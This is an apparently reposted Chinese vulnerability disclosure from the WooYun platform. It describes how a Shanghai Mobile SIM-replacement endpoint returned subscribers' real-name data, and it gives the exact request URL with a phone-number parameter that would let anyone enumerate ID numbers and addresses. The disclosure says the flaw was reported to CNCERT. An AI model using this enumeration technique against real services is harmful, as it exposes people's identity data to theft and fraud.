乌云漏洞平台披露，通过漏洞，上海移动所有用户实名制信息可任意查询（包括身份证号，居住地址等）。目前，已经转由CNCERT向中国移动集团公司通报，由其后续协调网站管理部门通报
乌云漏洞平台披露，通过漏洞，上海移动所有用户实名制信息可任意查询（包括身份证号，居住地址等）。目前，已经转由CNCERT向中国移动集团公司通报，由其后续协调网站管理部门通报。
以下是漏洞泄露信息过程：
上海移动，换卡不换号
http://www.sh.10086.cn/shop/app?service=page/base.OrderBackUpCard&listener=initPage
需要验证实名制身份证信息，抓包，发现如下POST请求：
http://www.sh.10086.cn/shop/app?service=ajaxDirect/1/base.OrderBackUpCard/base.OrderBackUpCard/javascript/undefined&pagename=base.OrderBackUpCard&eventname=checkBackUpCardLimit&partids=undefined&ajaxSubmitType=post
用户登记的信息竟然直接返回。
利用URL：http://www.sh.10086.cn/shop/app?service=ajaxDirect/1/base.OrderBackUpCard/base.OrderBackUpCard/javascript/undefined&pagename=base.OrderBackUpCard&eventname=checkBackUpCardLimit&partids=undefined&ajaxSubmitType=post&edit_MANAGENUMBER=手机号
可遍历全市用户实名制信息。
例1：
例2：
点到为止，不再遍历。
漏洞证明：例1：
例2：
声明：本文内容来源自网络，文字、图片等素材版权属于原作者，平台转载素材出于传递更多信息，文章内容仅供参考与学习，切勿作为商业目的使用。如果侵害了您的合法权益，请您及时与我们联系，我们会在第一时间进行处理！我们尊重版权，也致力于保护版权，站搜网感谢您的分享！
